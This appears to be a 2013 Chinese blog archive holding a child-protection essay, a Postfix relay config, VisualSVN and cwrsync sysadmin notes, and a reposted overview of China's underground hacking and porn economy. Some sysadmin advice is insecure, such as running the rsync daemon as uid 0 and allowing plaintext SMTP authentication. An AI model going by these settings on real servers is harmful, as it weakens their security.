在美国，一个新生儿出院时，如果家长没有带上安全座椅，医生会阻止他们离开——因为不把孩子放在安全座椅里开车是危险而可能致命的。如果想自行出院，医生会马上报警。无论是教师、护士、医生或邻居，一发现孩子身上有伤痕，第一反应都是报警。在他们的《虐待罪》中，并不仅仅指监护人对孩子的殴打辱骂肢体伤害，监护人如果没有尽到应有监护之责，让孩子遭受意外伤害，比如——在中国最常见的，洗澡时开水瓶放在孩子边上，把孩子烫伤了，一样会被起诉，《虐待罪》中有一项罪名叫“忽视罪”，因为监护人的看护不当、疏忽了孩子应有的需要而造成伤害，一样属于虐待。
但是，两个孩子被命运眷顾了一次，她们的遭遇已经曝光在这个世界眼里，超过100个成年人知道她们处于一个雨果也写不出来的悲惨世界里，没有人，为两个哭泣嘶喊的小生命再多做任何一点能改变她们死亡命运的事。没有，一个也没有。
曾经有人说，要为死去的李思怡立一座碑。而实际上，为这些死难的孩子立碑，那么最终我们会看到一座哭墙，长城那么长。每天不断更新的新闻，刷新着我们对于惨剧恐怖的认知底线。
她们的小身体被运出小区。
整栋楼，每一户人家都挂上了辟邪的桃枝和红布。
是害怕那受尽苦痛的小灵魂徘徊不去么？还是良心上永远盘旋着那小手指叩门的声音？
李思怡小手在门上剥啄的声音，永远刻录在我心里，每逢读到孩子遭难的新闻，她的名字必定被唤起。而我永远也没有想到的是，悲剧会以更惨烈的形式上演。她不是第一个，她们也将不是最后一个。
好的制度会最大程度地遏制人性里的恶，坏的制度会滋养人性里的恶。在一个没有规则、也没有法制保护的世界里，易粪而食的互害社会里，道德和人性都在坐没有刹车的过山车。阳光下打了鸡血似的大唱赞美诗，背地里给一个垂死的婴儿送一口奶，都成了生命不能承受之重。
欧美拥有成熟而健全的儿童福利保障法。在“儿童是国家的财富、民族的未来”的国家理念的推动下，国家不可推卸地负担起责任，从对家庭的生育津贴、到父母的产假优待，到弃婴的收养，到被虐儿童的救护救助，都建立了一整套完善的社会机制。理念、法律、机构、执行者和公民的责任义务。如果教师、社工、医护人员发现儿童有被虐待的痕迹而没有报警，会被追究相关责任，这就使得，报警成为了一种责任而不是义举。《刮痧》那部电影里也清晰地呈现了他们的执法理念，一涉及儿童保护，“宁枉勿纵”，因为任何一次的纵容，可能都是以一个孩子的生命为代价。
而在本土，我们高声歌颂接住坠楼小孩的快递哥，谴责不负责任的监护人却成了丧尽天良的不和谐之音，而一转身，昨天，一个六岁男孩，就从家中阳台坠下，这一次，没有快递哥，他死了。邻居说，他曾经多次在阳台哭喊妈妈，最长的一次，哭喊号叫了两个小时。这一次，他死后两个多小时，他不负责任的父母，才匆匆出现在业已冰冷的尸体旁。
一个财政收入过10万亿的政府。一个世界第二大经济体。
象陕西女子怀孕7个半月被强行引产、女子产子后弃于下水道，这些惨剧在明天又会成为CNN、BBC或其他媒体的头条。无数的人会问：“这他妈的是为什么？！！”
我见过本国若干家庭，苦苦期盼领养一个孩子。因为领养门槛奇高，贩卖儿童成了一个可怕的巨大市场，我也见过世界各地渴望领养孩子的家庭，排队排五年，哪怕领养到一个残疾孩子，也欣喜若狂爱若珍宝。而同时又见到那么多孩子蝼蚁一样死去——
一个政府，为了推卸自己对未成年人应尽的保护之责，减少财政支出，生生将《未成年人保护法》删减了六百多条细则，最后让这部“法律”演变为一本草纸。唯一与未成年人保护相关的机构——未保委，是一个挂靠于共青团名下的民间组织。唯一声称保护妇女儿童利益的组织——妇联，会配合计生委去抓捕孕妇、说服引产。
在一个糟透了的制度里，每个人都是悲剧的道具。在一个遍地野火暗燃的荒原上，每一个人都可能在明天焚身以火。悲剧里没有人能够笑着离开——我亦知道，我的呼吁细若蚊鸣，象希绪福斯一样推动巨石，周而复始，也许注定没有任何改变。但我一直在用英国儿童福利保障法出台的历史鼓励所有人。
1889年，英国出台了《预防虐待儿童和保护儿童法》——这部法律的出台，被称为儿童保护第一个黄金时代的开始。它的出台与当时的英国议员洛克有极大关系。洛克是一个人道主义者，最初他致力于推动动物福利的保障，并为此在议院中痛打他的反对者，并呵斥：“你是人类，可以喊叫疼痛，而动物不能！”——他促成出台了世界上第一部动物福利保障法，随后，一起严重的虐童事件进入他的视野，一个养女被残酷的养母虐待，法律和警察却束手无策，洛克在法庭开庭时，以一袭斗篷裹住那个遍体鳞伤的孩子，走进法庭，将孩子呈放于法官面前：“我请求援引动物保护条例，对这个动物进行保护。”这个巧妙的比喻将流血的真相和盘托出，舆论哗然。之后，儿童福利保障成为严肃的议题。
请注意，这是124年前的事。
20世纪被成为“儿童的世纪”，联合国《世界人权宣言》和《儿童权利公约》确立了“儿童是享有和成人一样的权利的主体”的权利理念。
《儿童权利公约》共有54项条款。根据《公约》，凡18周岁以下者均为儿童，除非各国或地区法律有不同的定义。《公约》规定了世界各地所有儿童应该享有的数十种权利，其中包括最基本的生存权、全面发展权、受保护权和全面参与家庭、文化和社会生活的权利。
《公约》通过确立卫生保健、教育以及法律、公民和社会服务等多方面的标准来保护儿童的上述权利。
《公约》指出，缔约方应确保儿童均享受《公约》中规定的各项权利，不因儿童、其父母或法定监护人的种族、肤色、性别、语言、宗教、政治身份、出身、财产或残疾等不同而受到任何歧视。缔约方为确保儿童的福祉，应采取一切适当的立法和行政措施。各相关部门和机构在制定相关政策和落实中以儿童利益最大化作为首要考虑。
中国，是《儿童权利公约》的缔约国。
有经过190多个国家确认的权利理念，也有经过100多年发展的欧美成熟的司法制度，中国的孩子还活在1889年之前。
还要流多少孩子的血，中国人才能有一部《儿童权利保障法》？
人皆有恻隐心，人皆有子，十年一觉思怡梦。百年不尽儿童泪。
中国孩子，能躺在一个安全的天空下，做着没有伤害、饥饿和虐待的中国梦么？
2013年5月29日星期三
postfix邮件中继的几种方案
终于搞定了几种MTA邮件relay的情况：1，最普通的25，利用163,yahoo.com等邮件主机转发；2，加密的587如gmail,163等中继；3,没有合法证书的邮件主机，如公司这种，必须要导入证书的类型。现在终于要吧全部工作起来了。
我的配置文件：main.cf如下
smtpd_tls_cert_file=/etc/ssl/certs/ssl-cert-snakeoil.pem
smtpd_tls_key_file=/etc/ssl/private/ssl-cert-snakeoil.key
#smtpd_use_tls=no
smtpd_use_tls=yes
smtpd_tls_received_header = yes
smtpd_tls_session_cache_database = btree:${data_directory}/smtpd_scache
smtp_tls_session_cache_database = btree:${data_directory}/smtp_scache
##### client TLS parameters #####
smtp_tls_loglevel=1
#broken_sasl_auth_clients = yes
#smtp_tls_security_level=may
smtp_sasl_auth_enable = yes
smtp_sasl_mechanism_filter = login,plain
#smtp_tls_security_level=none
smtp_starttls_timeout=10s
smtp_tls_security_level=may
#smtp_tls_security_level=encrypt
#上面一行为gmail等使用
#smtp_sasl_mechanism_filter = plain, login
smtp_tls_note_starttls_offer = yes
smtp_sasl_password_maps=hash:/etc/postfix/passwd
#smtp_sasl_security_options =noplaintext,noanonymous
smtp_use_tls = no
#smtp_tls_security_level=NONE
#smtp_sasl_security_options =noanonymous
smtp_sasl_security_options =
smtp_always_send_ehlo = yes
smtp_generic_maps=hash:/etc/postfix/generic
smtp_tls_CAfile =/etc/postfix/cacert.pem
CApath = /etc/ssl/certs
tls_random_source=dev:/dev/urandom
# information on enabling SSL in the smtp client.
smtp_sender_dependent_authentication = yes
sender_dependent_relayhost_maps = hash:/etc/postfix/sender_relay
#myhostname = localhost
myhostname = bt.foo.org
alias_maps = hash:/etc/aliases
alias_database = hash:/etc/aliases
myorigin = /etc/mailname
mydestination = localhost,bt.foo.org,localhost.foo.org
#mydestination = localhost
#relayhost =[smtp.163.com]:465
#relayhost =[smtp.163.com]:994
#relayhost =[smtp.163.com]
#relayhost =[smtp.gmail.com]:587
relayhost =[smtp.XXXX.com]:587
mynetworks = 127.0.0.0/8 [::ffff:127.0.0.0]/104 [::1]/128
mailbox_command = procmail -a "$EXTENSION"
mailbox_size_limit = 0
recipient_delimiter = +
inet_interfaces = all
上面是没有合法证书的公司邮箱使用。gmail/163/yahoo的配置也保留了，只是注释掉了
2013年5月20日星期一
2013年5月19日星期日
VisualSVN之迁移
前几天还在得意于50GB的数据加密保存，实时远程备份，通过rsync把变化的数据增量备到各地，然后放在加密的卷标里面。今天却又碰到一件意想不到的事情。
SVN的历史版本太多了，加上每天的导入数据，迅速把50GB空间占满，下午一查，只有700MB左右，再一刷新就只有600MB，眼见着迅速降低下去，原来规划的空间一点点地消失。
赶紧删除无用的工具软件类，delete一番后，发现一点儿改善也没有。网上一搜，全是执行删除操作后，如何进行恢复的技巧说明。但查一查如何彻底删除、真正删除，却 丁点儿有效的信息也找不到。我是第一次接触这东西，原来没想到还有这么多道道，删除后文件根本找不到了，却没有真正删除，还存在某个地方等着删除。想想也是，SVN本来就是为了方便回朔地某个版本，肯定保存了每个版本的变化信息，有什么新旧东西，都会存起来。linux下的估计有一堆办法，windows下的VisulaSVN如何彻底删除，真是找不到任何有用的资料。
急切间，身边人来人往，有问服务器为什么不能访问的，有问更新出错的，有问无法下载的，有问连不上服务器的，各种各样的，思路总是打断，每个人来问，都要抬头应付一下。
最着急如何恢复，打电话问了经常折腾SVN的同事。办法是全部下载了数据，再建个新的，再上传上去。只保留最后一个版本。或者把旧服务器数据DUMP，再import到新服务器。这些方法都太费时间，如何更快解决呢？
原来备一个镜像。直接在另一台服务器上面，把VisualSVN资源目录指向本地镜像数据。start后，成功打开。在IE及SVN客户端上访问正常，能打开所有文件，权限也都正常。但在本地修改后，再进行commit，出现报错：
POST 。。。。XML 3 line，(valide token)
具体错误信息忘了，好像是说非法token，无法更新。
于是开始了下面的折腾过程。共试过如下方法：
两台服务器上面数据是一致的，唯一不同的VisualSVN的安装后参数。于是查看有哪些不同。有个server.pem不同。同步后，仍然失败。
rsync 加上delete参数，然后再加上update参数，还是失败。同样错误又出现。
是否是文件权限问题呢？rsync同步时，把文件属性、属组、权限、时间等，全是同步过来。仍然失败。
再回头折腾旧服务器。新加入磁盘，将其作为SVN服务器上的一个目录文件，这办法也不妥当。全是小文件，接进去也无法有效扩展容量。况且全是加密的VOL，要接进去也有难题。失败。
在网上寻找命令行下删除旧版本数据，失败。
双回头折腾新服务器，重点检查文件权限问题。终于在打开文档数据时，弹出一个权限错误的提示。把VisualSVN server admin的用户加入读写权限后，一切运行正常，太让人高兴了。
至此，通过rsync镜像，然后设置权限，顺利完成到大硬盘空间服务器的迁移。太棒了，一切恢复正常，一切可以继续。
2013年5月16日星期四
2013年5月8日星期三
数据加密与备份的一些杂想
这几天要把50GB左右的数据进行保护，防止有人偷走，防止有人破坏，因为都可以物理接触，而这数据影响了一个公司的生死存亡。所以，除了管理上的种种防护外，在技术上对服务器进行了如下保护：
1、所有数据使用密钥加密，硬盘上的每个扇区都做了扰乱，密钥存在远程的服务器上，每次想打到本地硬盘数据，需要ssh登录到凭证服务器上面，cat mykey，然后在本机上保存到一个临时文件，临时文件用脚本控制，1分钟后其文件内容就会变成随机数并进行后续不断的变化。用远程的key，加上强密码打开加密的硬盘内容，映射到一个新开的硬盘逻辑符上面。
2、打开应用服务，把新开的逻辑硬盘进行正常的读写。用户不多，所以加密后的读写速度还可接受，以几年前的硬盘配置，读写速度大约为50MB/s+左右，网络多用户以浏览器访问时，大约为每个用户大约2MB/s的读写速度，感觉还可以吧。
3、因为最初安装都是windows系统，让人很不顺手，熟悉了linux下的种种快捷的解决方案，windows像个公子哥一般诸多精细的照顾才行。
4、windows下的文件同步备份，使用了rsync for windows解决，使用过程中产生些问题，可见上篇文件中的描述；
5、rsync备份使用密钥方式，密钥同样放置在加密盘上。并在rsyncd.conf设置只允许备份服务器一个连接，只允许受限IP连接。
6、设置定时任务，每晚22:00开始自动备份；
7、加密后，机器即使直接让人搬走，也难以解密出明文数据。备份后，即使主机被人恶意破坏，仍然也可快速恢复。
8、加密硬盘工作态的安全，以服务器的安全加固解决。数据流转路径上的安全问题，没在本次讨论之列。
9、客户端上的数据安全，文档汇聚后的安全，隐藏的传输通道如蓝牙电力猫等，仍然需要进一步解决。
数据加密与备份的一些杂想
这几天要把50GB左右的数据进行保护，防止有人偷走，防止有人破坏，因为都可以物理接触，而这数据影响了一个公司的生死存亡。所以，除了管理上的种种防护外，在技术上对服务器进行了如下保护：
1、所有数据使用密钥加密，硬盘上的每个扇区都做了扰乱，密钥存在远程的服务器上，每次想打到本地硬盘数据，需要ssh登录到凭证服务器上面，cat mykey，然后在本机上保存到一个临时文件，临时文件用脚本控制，1分钟后其文件内容就会变成随机数并进行后续不断的变化。用远程的key，加上强密码打开加密的硬盘内容，映射到一个新开的硬盘逻辑符上面。
2、打开应用服务，把新开的逻辑硬盘进行正常的读写。用户不多，所以加密后的读写速度还可接受，以几年前的硬盘配置，读写速度大约为50MB/s左右，网络多用户以浏览器访问时，大约为每个用户大x2MB/s的读写速度，感觉还可以吧。
3、
关于windows下的远程文件同步
最近几周需要做非常重要的文件保护，数据大量50GB左右，而且时时更新。
本地的文件同步，有许多好的解决方案，也有许多开源的工具。但远程的文件同步，原来所知道的就只有linux下的rsync，windows下用什么呢？而且远程异地的数据，全都是放在加密盘上，实实更新，需要非常好的增量备份工具才能解决。
万事不决问google，搜了下确实有windows下的rsync版本，名字叫cwrsync，最新版本为4.0.5，不用翻墙就能下到，真让人高兴。
3+MB大小，安装迅速。配置和linux下类似。把常见的几个问题分享下
1、默认下为匿名访问，可在windows下使用用户名密码，添加两行
auth users = myname
secrets file = etc/mypasswd
其中mypasswd的内容格式为：
myname:passwdishere
不过相比密码方式，更好的还可以使用密钥方式。可参考ssh密钥登录，这类文章网上很多，只要设置几下就能完成。
2、安装后，需要自建几个文件，否则会报错faild to open lock file
rsyncd.pid
rsyncd.lock
有时出现rsync服务无法启动时，可能是这几个文件权限存在变化，需要将这几个文件清空删除，再重新建立就可以
了。
3、因为在多台服务器上安装，有台服务器在忘记情况下，多安装了一次，导致出现报错：
无法启动rsync服务
错误：1069，由于登录失败而无法启动服务
出现此错误后，重装不管用，把安装过程中自建的用户SvcCWRSYNC设为administrator组，仍然不管用。然后在服务器中，把administrator管理员用户设置为登录账号，仍然出现同样提示。
解决方法为：将SvcCWRSYNC重设密码，并在rsync服务中，将登录用户的密码也进行手工设置，最后顺利启动。
出现问题时，我们要按照机器提示，寻找最贴近的线索，所有的真相，都在错误提示里。
4、rsync客户端登录时，会提示invalid uid nobody的错误而退出，此时搜索google，大量文章说，只要在服务端配置文件rsyncd.conf中，添加两行
uid = administrator
gid = administrator
照此操作后，客户端仍然出现错误提示，只是变为
invalid uid administrator
按照通常的linux设置习惯，屏蔽掉这两个值，设为
uid = 0
gid = 0
此时登录再也没有报错，顺利登录。
5、最后，是成功的演示，如下在客户端输入
rsync -avzP --progress myname@192.168.1.1::rsync /cygdrive/h/
这样就把异地的文件，迅速备份到本地了。
注意，上面参数的rsync，是远程服务器rsyncd.conf中的定义，一定不要搞错，否则会提示，未知的模块错误
2013年4月26日星期五
揭秘中国地下互联网世界的冰山一角
转文，实际上许多情况并没有在这篇文章中写出来，比如基于互联网的地下博彩
"质疑的人或许并非无知，只是事情超过了他们的认知范围。中国互联网的三个世界，在地下世界发生地事情，地面上的人永远不知道是怎么回事。"
而关于"中国互联网"的三个世界，Fenng也早在2012年年初就提到过这个归类方法："在中国，存在三个互联网形态。一种是媒体给人灌输的互联网，以海外IPO为目标的；一种是草根互联网，低调掘金，如迅猛龙般彪悍；一种是深藏地下的互联网。"
这个分法，大致上是合理的，如果对应其实际的案例，第一类是属于"空中互联网"，通常保持在媒体视野之内活动，有着从西方借鉴过来的成熟的商业 模式，比如大家熟知的百度淘宝微博等。第二类是"地面互联网"，贴着地气生长出来的原生态产物，极具草根和市井特色，一般都在埋头挣钱，鲜有媒体关注―― 过多的媒体关注对它们而言也不算利好之事，代表有9158(年营收破10亿的视频交友网站)、5173(中国最大的网络游戏交易平台)、雨林木风(以盗版 Windows系统发家，现已洗白)等。
第三类的"地下互联网"，尽管涉及许多见不得光、游离在法律边缘的行当，但它也并不完全等同于一个在阳光照射不到之处滋生繁殖的法外之地，其中 的从业者通常都以平常面貌生存在大众群体中间，即使你和他们面对面的相逢然后擦肩而过，不会留下任何深浅的记忆。更多时候，无论是为了自保还是业务的安全 需求，他们都不会主动的浮到地面上头让人发现。然而，在很多时候，地下互联网都无意中直接或者间接的影响着普通网络用户的生活环境，甚至参与制定过一些地 上互联网世界也必须遵从的规则。
在这里，我可以讲一下我所接触或者经历过的，地下互联网庞大冰山里的三座山头，它们平时可能只是以书面上的词汇形式为人所知，然而，毫不夸张的说，它们真正意义上左右着中国互联网的某些时局。
第一座山头，叫做"黑客(Hacker)"。
在理论上，目前对于黑客的定义存在着比较重大的误读，简单来说，这个源自美国计算机业界的舶来名词本意上是用来形容对计算机技术有着深入研究、 捍卫自由共享的网络精神、偶尔会利用技术优势做做恶作剧的电脑高手。只是猛兽易伏，人心难降，在私欲的牵引下，有些具备黑客技术的人走上了恶意破解商业软 件、入侵服务器系统以谋取利益的道路，这些人被称为Cracker，而这里所讲述的山头，正是Cracker的领地，但是为了便于理解，暂时也将 Cracker译为黑客，大家知道实际区别就好。
许多媒体曾经或多或少披露过的"黑客"新闻，多半也是属于这类，在媒体的笔端，这类黑客似乎都是来自鼠标和键盘的混种天才，足不出户便能闯入任 意网民的电脑里，盗取各种信息资料，或是轻易入侵各大网站，还能删改网站首页留下"到此一游"的得意战绩。这些报道，多以道听途说、或是采访已被公安抓捕 的网络敲诈犯为信息来源，既有夸大之处――黑客通常必须要有"木马"等程序作为桥梁进行入侵，否则无法单凭网线就去操作任意指定用户的电脑，也不乏低估的 地方――很多因为犯事而被曝光的小黑客其实属于黑客产业链的最下游，只是凭借在交易平台购买的暴力破解或攻击软件，以极小几率入侵了某些防御力量实在薄弱 的网站数据库，实现了盗取帐号密码的目的。
真正入流的顶级黑客，他们其实都是一群生意人。
生意人有个特点，他们擅长玩的是交易，用一些东西换另一些东西，再用另一些东西换别的更多东西，最后获得自己想要的最大利益，而这个看似是技术密集型的行当，在他们的掌控下沦为了一个劳动密集型的行当。
2009年5月19日，这是中国互联网历史上的一个标志性刻度。有印象的网民应该都还记得，在这一天晚上9点左右，全国范围内出现了大面积断网 事件，超过23个省份陆续出现网络中断或访问受阻的现象，持续了数个小时之久。而后，电信运营商和工信部把黑锅盖到了暴风影音头上，称"由于暴风影音客户 端软件存在缺陷，在暴风影音域名授权服务器工作异常的情况下，导致安装该软件的上网终端频繁发起域名解析请求，引发DNS拥塞，造成大量用户访问网站慢或 网页打不开。"而事情背后的真相却是，暴风影音虽然也应当为此承担部分责任，但它的确也是货真价实的受害者之一，后来也有少数媒体对事件缘由作了较深的挖 掘，发现是黑客在攻击DNS服务商的时候，致其服务器宕机，而暴风影音的域名解析正好处在这台服务器上，而拥有千万级用户规模暴风影音当时会在用户的计算 机上残留一个用于监测状态和弹出广告的进程，这个进程在回传信息的时候遇到服务器堵塞，继而因为暴风影音的设定机制不断累计往回发送请求，最后直接弄瘫了 中国电信的DNS服务器，让全国网友都断了网。
为什么黑客攻击能够引起如此震动的影响？这背后的利益关系核心，却是另一个行业：网络游戏。当然，在这里所称的网络游戏，并非指的是正规的网络 游戏产品，而是所谓的"私服"。中国曾经最大的网络游戏产品《传奇》在源代码发生泄漏之后，实际上就变相的成为了一个"开源"的游戏产品，任何稍具技术的 用户都能自主的搭建《传奇》游戏的私人服务器，提供经过修改后的、在某些方面比官方更加"刺激"的《传奇》游戏。而基于庞大的用户付费基础，中国大地上如 雨后春笋般一度出现了千万个《传奇》私服――具体数字比后来的团购网站巅峰数量更多，于是有些大的黑客就盯上了这个群体。
《传奇》私服在宣传时一般都需要搭建一个网站，用来提供游戏服务器的IP或登录器下载――这是用户进入其游戏的唯一入口，而黑客就瞄准了这个为 私服运营者提供收入支持中不可或缺的入口，每天扫描新开的私服网站，向手底下的"操作者"发送攻击指令，后者通过常规DDOS或其他更高明点的手段将目标 私服的网站攻击瘫痪，中断用户入口，再联系私服运营者，索要数千甚至上万元的"放弃费"。如若遭到拒绝，则进一步攻击游戏服务器，导致玩家无法正常游戏， 彻底断掉私服运营者的财路。高峰时期，中国每天都有上百万台服务器受到这类黑客的操控，用于威慑和打击私服网站及服务器，而私服运营者方面因为本身就是违 法生意，根本无法寻求警方协助。(这从侧面似乎也证明了私服行业的惊人暴利，在黑客、官方的双重打击下仍能前仆后继……)
而519断网事件，就是由一伙黑客在打某家《传奇》私服的时候，直接攻击到了后者服务器所在的DNS服务商身上，进而引发暴风影音的连锁反应， 酿成大祸。这也让工信部第一次意识到了互联网在政治之外的风险，曾有网警单位试图打入黑客关系以及病毒产销链的内部，但皆因身份伪装失败而遭泄漏，不过也 起到了一定的威慑作用。2010年3月，工信部低调推出了中国通信行业网络安全的首个部级指令《通信网络安全防护管理办法》，确定了电信管理机构的行政权 力，还给公安部门下了任务指标，不少地区兴起"抓捕黑客"热，最终的结果可想而知：一些在网吧里自学简陋的攻击软件的青年被当作涉案重量级黑客锒铛入狱， 而真正有能力的黑客则开始将研究重点由"入侵"转移到"隐匿"上，反倒间接的推动了中国加密数据网络技术的水平提升。
还有更多单打独斗的黑客从事的是"信封"交易，通过自己编写的软件将恶意代码注入某些防范不严的网站数据库，造成用户数据的外泄(或者入侵大型 网站后在网页上挂木马)。2011年年底CSDN遭到"拖库"攻击被黑客拉出600万用户的明文帐号密码，即为一例。经过这种方式拿到的帐号和密码，通常 会由黑客使用另外的程序进行各种主流的软件或游戏进行交叉验证，比如，你在某论坛的帐号和密码被捕捉到之后，黑客会用此帐号和密码去撞QQ、各大邮箱、各 大网络游戏等地，如果恰好有人帐号和密码在这些地方亦保持一致的话，则被封装为信，成为一件商品。这些被称为"信封"的文件被拿到批发市场上进行交易，由 购买者再去挖掘更多用途的价值――比如购买了某网游信封后，就可以去盗取该网游帐号的装备，而在购买了某QQ信封后，则可以操纵这些QQ号去找好友行骗等 等。一名已经洗手不干的黑客曾透露说，中国市场上待价而沽或正在交易的"信封"超过了二十亿封，年产值在百亿人民币规模。
逐利的黑客更有着"养号"的习俗，若是将木马或者后门程序种到用户的计算机内，则会盯上一些暂时没有价值、但可能会有升值空间的资料，比如级别 并不高的网游帐号，待到该帐号成长起来产生价值之后再来"收割"。这类黑客倒是对360等安全软件抱有某种程度上的"谢意"，因为就他们的样本来看，没有 安装安全软件的用户，重装系统的频率要比装了安全软件的用户高出太多――很多用户会将重装系统当作清理电脑的一项手段，而重装系统对于90%以上的本地木 马或是后门程序都有着毁灭性的打击。
在中国，广东、福建是黑客聚集较多的地区，产业链上游的黑客，基本上都有着实业，我所知道的一名黑客，人长得非常普通――丢到人群里扫过去基本 上不会留下印象的那种，开着三家夜总会和一个茶庄，泡着古玩和书画市场，每个月抽一天的时间去他控制的工作室查账、开会，连他的老婆都不知道他的真实面 貌。还有一名黑客，白天在一所专业学校里教计算机课程，曾在一个晚上打掉某著名游戏厂商的整个数据库，被该游戏厂商悬红百万人民币通缉，而他就在自己被通 缉的期间，迎娶了该游戏厂商的一名女策划，后者对他愤恨说某黑客让自己公司蒙受损失并影响了自己的年终奖，他只是笑着安慰。
在黑客这个圈子，大的瞧不起小的，认为后者太过张狂，不仅扰乱市场，而且会招来不必要的政府关注。而小的都憧憬大的，并希望自己能够早日成为大 的，所以常有急功近利的事情发生。一名年仅十九岁的黑客曾经黑掉了某个地区政府的官方网站，目的只是想要将成果展示给他的朋友欣赏，后来他被警察逮到，预 计直到不惑之年才能再见天日。
另外，在媒体的渲染下让很多人谈"黑"色变的直接盗取网银钱财的黑客行为并不多见，因为此时，黑客的攻击对象并不是毫无议价能力的普通用户，而 是国家金融机构，一旦被发现，后果不太能够承受，而且当越来越多的网银将手机验证作为交易环节之一，网银的壁垒也的确相对较高。与其冒着风险和难度来入侵 银行的对外系统，一些小黑客更喜欢借助钓鱼页面的形式来诱导用户在虚假的网站上展开交易，再来借机引导被欺瞒的用户将钱打入指定账户。而大点儿的黑客，他 们可以私下演示如何入侵大型商业公司甚至国家安全系统的能力，但是一般不会动里面的东西，只是不留痕迹的出入而已。
基本上，因为某些行规和自我保护的因素，中国的黑客圈子秘密很多，外流的极少，甚至有时会有意放出一些极其夸张或者与事实大相径庭的消息，干扰 外界视线，达到隐蔽目的。他们大多认为黑客是一门吃青春饭的生意，希望早日当上"老板"，指挥后辈在前线冲锋陷阵，自己坐享其成，而出于职业习惯，他们也 对生活中的许多事物保持相当高的敏感神经，每周注册一个新的QQ、重要代码写在本子上不往电脑里存、笔记本电脑的摄像头永远贴着不透明的胶布等，都是常见 的现象，因为过度紧张和集中注意力，神经衰弱、睡眠质量奇差、脾气不好都是黑客们的职业病。
接下来要说的第二座山头，叫作"色情(Porn)"。
在世界上的绝大多数国家，色情业都是合法的存在，而在中国，由于国家体制的原因，色情业仍然处于法律的敌对阵营里。但是，食色性也，作为人性的 原始需求，色情网站满足了网民对于欲望的部分需求，根据BusinessInsider的一份报告数据显示，色情网站占全球网站整体数量的12%，其总体 流量占比可能逼近整个互联网流量的三成左右。
尽管在中国，色情行业(及网站)都是非法产物，但这也无法遏制某些城市成为举世闻名的"性都"，也造就了如草榴社区这样的色情网站集群。
草榴社区创建于2006年，服务器在美国的科罗拉多州，时值中国曾经最大的色情论坛情色六月天东窗事发――其服务器虽然设在美国，但是论坛的主 要管理员却都是不折不扣的中国人，又因内部斗争(主要为收入的分配)而造成不和，最后被山西省公安厅将部分论坛管理者抓获在案。草榴社区充分吸收了前辈失 足的经验和教训，基本上不会设置太多的论坛管理者角色，即使需要存在的某些拥有管理权限的帐号，也都是不会在社区里发言和互动的(早期有过，但是后来就隐 匿掉了)，这样就尽可能的避免了信息外泄或者产生纷争的风险。而草榴社区的实际控制者，都有着海外国籍，受到他国法律保护。
因为目睹太多由利益而起的纠纷最终牵连网站的案例，加上草榴的主要创始人(几名美籍华人)家境尚好本就不算缺钱，所以并没有在盈利上花太大功 夫。因为草榴社区一直是免费运营的政策――除了小范围内的展示型广告、网盘链接分成之外，都没有太多商业化的机制，这使得草榴社区的"名声"一直很好，一 个不弹广告窗口、也不限定用户购买VIP方可浏览的色情论坛，怎么可能不受欢迎呢？2011年6月，草榴社区曾经尝试开放注册一天，结果一夜之内多了十三 万新注册用户，管理方发现这样下去数据库会崩溃，于是就继续采用邀请注册的机制至今。
但是草榴社区并非是中国色情网站行业的翘楚，它只是色情影片进行分销的一个主要渠道，更上游的，是那些收费运营、更加隐蔽的色情网站。借助 P2P的共享模式，下载色情影片成为了中国网民接触色情信息的主流方式，而影片并非凭空出现的，它的片源在日本、欧美等国家以商品的形式存在，那么这中间 就需要当地华人掏钱去将光碟购买下来，再将其转码成为网络流行的AVI或RMVB等文件格式，制作成种子之后上传到色情网站提供P2P下载，这些人属于 "发片员"。"发片员"少数是义务性质，大多还是会从色情网站的运营方那里拿到费用补贴，而后者则利用他们带来的影片更新内容，吸引用户下载、传播、付 费。而有些用户则以这些种子作为资源，将其分享到草榴社区等网站，造就了后者的繁荣。
能力出众的"发片员"，甚至会在论坛里享有至高的特权，比如18P2P著名的"nike"(用户ID)，这是一名香港网友，本身从事的就是色情 影片光碟租售业务(在香港合法)，因其能够以每天几十G的网络发片规模持续了好几年而闻名于世，在网络上一度有80%以上的日本有码片源都是出自他那里。 18P2P对此贵客也是多方担待，明文告示任何人不得打扰nike，包括在其帖子下面回复攻击性言论、或是发送论坛短消息给他求片等，都会直接遭到封杀 ID的处理。nike最终因为自己要结婚以及其最爱的AV女优松岛枫传出退役消息，而退出江湖，真正的"深藏功与名"，只留下传说。
苍井空在中国走红，日本AV圈内其实是不太待见的，因为作为一个在日本完全合法的行业，色情影视业仍然是一个通过销售光碟赖以为生的产业，对从 业者、发行商的回报完全由顾客购买决定。色情AV在中国市场几乎是一个纯P2P的分享模式，在一个无视版权、甚至连色情本身都不合法的国家转而借助从影片 中积累的名声进行变现，无疑释放出一种"鼓励中国人继续盗版日本的色情AV"的信号。不过苍井空也只是个案，无论是政治还是性文化上都呈保守姿态的中国， 对待色情产业并未出现与它对待其他经济产业表现出"大力招商引资"的积极态度，2CH(日本最大的综合社区)上曾有一名日本网友十分疑惑，"为什么中国可 以将土壤和河流都污染到百年后仍会残留剧毒的程度，却在色情信息上试图建设一个谁都知道真相但谁都不说出真相的伊甸园呢？"除了苍井空之外，与中国走得比 较近的，还有常被中国一些酒吧请来站台甚至还和某情趣用品品牌合作亲自充当模特的小泽玛莉亚、分别出演过香港电影《3D肉蒲团》和《一路向西》的原纱央莉 和希崎杰西卡、以及同样在新浪微博上拥有大批拥趸的长相酷似周杰伦的AV男优东尼大木等人。
在中国市场，运营得比较好的色情网站，一年收入大概可以达到千万人民币的规模，扣掉服务器及兼职人员(版主、发片员等)的成本，运营方可以入手 数以百万计的净利，如果除开法律隐患，还是非常吸引人的，而且色情网站的运营方能够收获独有的荣誉感――整个社区的用户都将管理员们当做神一般进行膜拜， 这种体验更是让人很为受用。去年，某色情网站的一名版主(美籍华人)回国探亲，天天都有当地网友排着队请其吃饭，其中不乏富有的私企老板，开着奔驰带他体 验家乡变化，还说"虽然(自己)现在也常远赴东莞，但是发迹之前都是靠着他(指这名版主)在论坛上发的片子度日，实在感激不尽……"
除此之外，还有一些网友并不满足于对着电脑屏幕的异国女优浪费卫生纸，于是有着更多类型的网络经济，用于迎合这种寂寞和欲望交织的需求，包括真 人视频、买春交流、夫妻换偶等。但由于更加踩住了法律的黄线，所以多数都只局限于小圈子范围内，除非运营方想钱想疯了，否则不会做出过多的声张。我认识一 名无业的中年男性，全靠他的妻子通过在网上出售原味丝袜养活，一个月的家庭收入可以超过30万人民币。
地下互联网世界的第三座山头，是"黑公关(Gangsterdom PR)"。
和"骇客(Cracker)"牵连了"黑客(Hacker)"一样，"黑公关(Gangsterdom PR)"也干扰到了人们对于"公关(PR)"的定义和看法。
